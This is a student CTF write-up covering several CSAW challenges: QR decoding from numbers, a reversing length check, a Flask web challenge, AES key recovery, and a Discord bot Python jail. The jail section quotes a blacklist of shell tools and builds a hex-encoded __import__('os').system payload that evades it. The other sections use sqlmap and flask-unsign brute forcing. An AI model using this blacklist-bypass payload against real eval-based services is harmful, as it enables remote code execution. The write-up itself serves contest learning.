CSAW (see-SAW) is the world's most comprehensive student-run cybersecurity event. It serves as an engaging platform for experiential learning and aims to inspire students to pursue education and careers in the field of cybersecurity.
Forensics
1black0white
We received this file of seemingly random numbers, but the person that sent it is adamant that it is a QR code. Can you figure it out for us?
We are given a file containing 29 lines of different numbers. Each line contains 9 numbers (except for 2 lines). From the title, we know we somehow need to convert the data we have been given into binary, which will represent a QR code in someway.
I first tried to convert each number into its binary representation:
qr_matrix = []withopen('qr_code.txt','r')as file:for i, line inenumerate(file): line = line.strip() qr_matrix.append([])for num in line: qr_matrix[i].append(bin(int(num))[2:])for row in qr_matrix:for col in row:print(col, end='')
We can use this binary to QR Code converter, but the output isn't a valid QR Code. The next idea was to treat each line as a number and do the same thing:
qr = []withopen('qr_code.txt','r')as file:for line in file: line = line.strip() qr.append(bin(int(line))[2:])for row in qr:print(row, end='')
This gave us something that resembled a QR Code, but it wasn't able to be decoded properly. I used QRazyBox to force decode, and it was in flag format, just not the correct letters-- so on the right track, but our conversion is wrong somewhere.
I then considered the idea that maybe we just need to plot the black and white pixels ourself, and not rely on a QR Code generator. I used some ANSI coloring magic to help print our "pixels":
qr = []withopen("qr_code.txt", "r")as file:for line in file: line = line.strip() line =int(line) line =bin(line)[2:]print(line) qr.append(line)scale_factor =2black ="\33[40m \33[0m"white ="\33[47m \33[0m"for row in qr:print()for col in row:if col =="1":print(black, end="")else:print(white, end="")
This was printing something even more similar to a QR Code, but still not quite right.
We are missing pixels still. Looking back at the text file, we are given 29 lines of numbers. Each line (except for the 2 mentioned previously) when converted to binary is 29 bits. All we need to do is pad the shorter numbers to 29 bits, and we should fill in the missing pixels.
padding =29# longest line is 29 bitsqr = []withopen("qr_code.txt", "r")as file:for line in file: line = line.strip() line =int(line) line =bin(line)[2:] line = line.zfill(padding)#print(line) qr.append(line)scale_factor =2black ="\33[40m \33[0m"white ="\33[47m \33[0m"for row in qr:print()for col in row:if col =="1":print(black, end="")else:print(white, end="")
Running this script and decoding it gives us the flag:
csawctf{1_d1dnt_kn0w_th1s_w0uld_w0rk}
Reverse Engineering
Rebug1
Can't seem to print out the flag :( Can you figure out how to get the flag with this binary?
Taking a look in Ghidra and doing some basic cleanup:
The only condition for "that's correct" is for the length of the user-supplied input to be 12. All we need to do to get the flag is provide a 12 character string.
csawctf{c20ad4d76fe97759aa27a0c99bff6710}
Web
Philanthropy
Can you break into the Philanthropy website and get more information on Snake and Otacon?
Looking at the website, we have a register and login function. I started with registering an account to see what functionality we had as a user, but there wasn't much. Next, I decided to test for SQL injection with sqlmap.
However, this didn't yield anything promising. Next, I started to analyze the client-side code. One unique thing I found was that for every page visit, a GET request is made to /verify, which returns a JSON response of your current user
I thought maybe this hinted towards us needing to craft a session cookie to where Member is true. Looking at the cookie access_token, and using Flask Session Cookie Decoder, we can determine the website is using Flask and the cookies are JWT tokens.
Next, I used flask-unsign to try and bruteforce the Flask SECRET_KEY.
This also didn't yield anything. Going back to client-side code review, I also noticed every page visit console.logs the response of /verify. I went to look at the Javascript to see how this was being handled, and noticed it was obfuscated. I used some online tools to deobfuscate, but that wasn't even necessary. Just by looking at the minified and obfuscated code, we are able to pull out two unique URLs:
In total, there are 13 images. Instead of manually downloading, let's automate it (because why not :D)
url1 ='http://web.csaw.io:14180/identity/images?user=%22otacon@protonmail.com%22'url2 ='http://web.csaw.io:14180/identity/images?user=%22solidsnake@protonmail.com%22'import requestsr1 = requests.get(url1, verify=False)r2 = requests.get(url2, verify=False)resp1 = r1.json()resp2 = r2.json()for i in resp1['msg']: url ='http://web.csaw.io:14180/images/'+ i['filename']# download the file r = requests.get(url, verify=False)withopen(i['filename'], 'wb')as f: f.write(r.content)for i in resp2['msg']: url ='http://web.csaw.io:14180/images/'+ i['filename']# download the file r = requests.get(url, verify=False)withopen(i['filename'], 'wb')as f: f.write(r.content)
Looking at the files, b6116d5a-a415-4438-8f43-2b4cb648593e.png mentions a temporary password for snake!
Now, we can login to solidsnake@protonmail.com and access the flag.
csawctf{K3pt_y0u_Wa1t1ng_HUh}
Crypto
We have this encrypted file and the only information we got is that the key follows the pattern of 1,2,4,8,16,.... Can you figure out what the key is and decrypt this file?
We are given an encrypted file along with the code that was used to encrypt it. From this, we know AES-256 CBC was used because of to_bytes(32,"big"). Additionally, we know the IV is r4nd0m_1v_ch053n.
All we are missing the key. From the description, the key follows the geometric sequence 1,2,4,8,16,.... First intuition is the geometric sequence:
We can automate the process of decrypting by bruteforcing. The logic is as follows:
Generate a key using the geometric sequence
Decrypt the file using the generated key
Ensure the decrypted file has the PNG header
from Crypto.Cipher import AESfrom Crypto.Util.Padding import padwithopen('flag.enc','rb')as f: data = f.read()for i inrange(1,5000): key = (2**(i-1)).to_bytes(32,"big") iv =b"r4nd0m_1v_ch053n" cipher = AES.new(key, AES.MODE_CBC, iv) dec = cipher.decrypt(data)if dec[:4]==b"\x89PNG":withopen('flag.dec','wb')as f: f.write(dec)
However, this fails to decrypt the file properly. Referencing back to the challenge, "circle" stood out to me. Some Googling of "1,2,4,8,16 circle" revealed Dividing a circle into areas which also follows the geometric sequence 1,2,4,8,16,.... The sequence is OEIS A000127. Visiting the page, we are fortunate to find sample Python on how to generate the sequence:
return n*(n*(n*(n -6) +23) -18)//24+1
Another thing I thought about was the need to bruteforce. I felt that I shouldn't need to bruteforce the key. Looking back at server.py, I realized they gave us the n for the sequence: 0xcafed3adb3ef1e37. Putting it all together, our final decryption script is:
It makes a connection to http://misc.csaw.io:3003 and reads the response. The response is then decoded using Base64 and passed to obf() which does some obfuscation with XOR. All we need to do is reverse the logic;
However, the first thing I noticed when reading the source code was:
admin_flag =any(role.name == ADMIN_ROLE for role in ctx.message.author.roles)
There is a conditional check when you run commands, and so if admin_flag does not evaluate to True, then you will never get to the pyjail() function which is where we can execute arbitrary Python code.
I had to think of a way to get 'ADMIN_ROLE' and spent some time researching how message contexts are passed. Then, I remembered an older CTF challenge I solved where we had to find a Discord server based on the server ID and nothing else. We are in the Discord, and we have access to the Bot's Client ID (assuming Developer mode is enabled). With a Client ID, you can generate a bot invite link and invite the bot to your own server.
Once you have the bot in your own server, the path forward is trivial. We need to create the role 'admin' and assign it to ourselves. Now, when we execute !flag, !add, !sub instead of a help message, we are able to actually execute commands.
We know that !add and !sub call pyjail(). Let's take a look:
arg =" ".join(list(args))ans =pyjail(arg)SHELL_ESCAPE_CHARS = [":", "curl", "bash", "bin", "sh", "exec", "eval,", "|", "import", "chr", "subprocess", "pty", "popen", "read", "get_data", "echo", "builtins", "getattr"]
COOLDOWN = []defexcape_chars(strings_array,text):returnany(string in text for string in strings_array)defpyjail(text):ifexcape_chars(SHELL_ESCAPE_CHARS, text):return"No shells are allowed" text =f"print(eval(\"{text}\"))" proc = subprocess.Popen(['python3', '-c', text], stdout=subprocess.PIPE, preexec_fn=os.setsid) output =""try: out, err = proc.communicate(timeout=1) output = out.decode().replace("\r", "")print(output)print('terminating process now') proc.terminate()exceptExceptionas e: proc.kill()print(e)if output:returnf"```{output}```"
So, take the command !add 3 + 3 for example. The arguments will be ['3', '+', '3']. Then, we join the list into a space separated string: "3 + 3". Lastly, it gets passed to pyjail() and executed in a subprocess:
python3-cprint(eval("3 + 3"))
Because we can control what gets passed to pyjail(), we have remote code execution. The only thing is to bypass the blacklist. Typically, you can call something like __import__('os').system('ls'), but the blacklist prevents us from using import. Luckily, HackTricks has a page for Bypass Python Sandboxes, and I learned you can pass hex encoded strings to eval() and it will still execute!
A quick Python script to convert our payload to hex:
payload ="__import__('os').system('cat flag.txt')"for c in payload: hex_c =hex(ord(c))[2:] hex_c ="\\x"+ hex_cprint(hex_c, end="")>> \x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29